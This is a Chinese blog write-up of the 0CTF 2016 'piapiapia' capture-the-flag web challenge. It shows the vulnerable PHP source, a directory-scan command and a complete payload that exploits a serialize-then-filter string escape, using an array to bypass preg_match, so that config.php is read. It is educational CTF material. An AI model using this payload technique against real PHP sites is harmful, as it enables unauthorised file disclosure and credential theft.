[0CTF 2016]piapiapia 做题记录

部署运行你感兴趣的模型镜像

概述

一道很经典的web题目,本质是漏洞挖掘与利用,涉及php反序列化和字符串逃逸。网上有很多教程,我这里用于个人积累。

漏洞挖掘过程

常规目录扫描,使用dirsearch,执行 python .\dirsearch.py -u http://1e5614ed-3ae7-419c-8800-a8824ba41a94.node5.buuoj.cn:81/ -x 429 -d 3-x 选项排除状态码,-d 选项设置延迟,防止扫描不到www.zip文件。

解压www.zip后发现regeister.php文件,访问并注册。

登录后发现进入update.php。

上传数据后,发现可以进入profile.php。

查看update.php文件,发现update_profile方法中存在serialize函数。

//update.php
<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

//...

转到update_profile的定义,在class.php文件中发现,先进行了serialize序列化,再preg_replace处理将where替换为hacker,字符串长度+1,说明存在字符串逃逸。

//class.php
<?php
require('config.php');

class user extends mysql{
	private $table = 'users';

    //...

	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
}

class mysql {
	private $link = null;
    
    //...    

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
	public function __tostring() {
		return __class__;
	}
}
//...

查看profile.php文件,发现unserialize函数,说明大概率存在反序列化漏洞。

//profile.php
<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>
//...
<?php echo $photo; ?>
//...

查看config.php文件,发现flag,说明需要读取config.php文件获取flag,而profile.php中使用的file_get_contents正好可以利用来读取config.php文件,则需要$profile['photo']的值为config.php。

//config.php
<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

漏洞利用过程

 需要逃逸的目标:";}s:5:"photo";s:10:"config.php";},长度为34,则需要在前面添加34个where进行逃逸,通过数组绕过对nickname的preg_match检测,通过burpsuite抓包并进行修改,payload为:wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

由于nickname变成了数组,所以需要 } 进行闭合,非数组的字符串逃逸则不需要。

忽略Warning进入profile.php网页。

在源代码中找到config.php的base64编码,解码后得到flag。

知识点积累

preg_match可被数组绕过。

由于serialize后的字符串声明长度固定,代码里如果先serialize再str_replace(或preg_replace、addslashes等),就会出现实际字符数与声明长度不一致,从而出现字符串逃逸漏洞。

您可能感兴趣的与本文相关的镜像

ACE-Step

ACE-Step

音乐合成
ACE-Step

ACE-Step是由中国团队阶跃星辰(StepFun)与ACE Studio联手打造的开源音乐生成模型。 它拥有3.5B参数量,支持快速高质量生成、强可控性和易于拓展的特点。 最厉害的是,它可以生成多种语言的歌曲,包括但不限于中文、英文、日文等19种语言

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值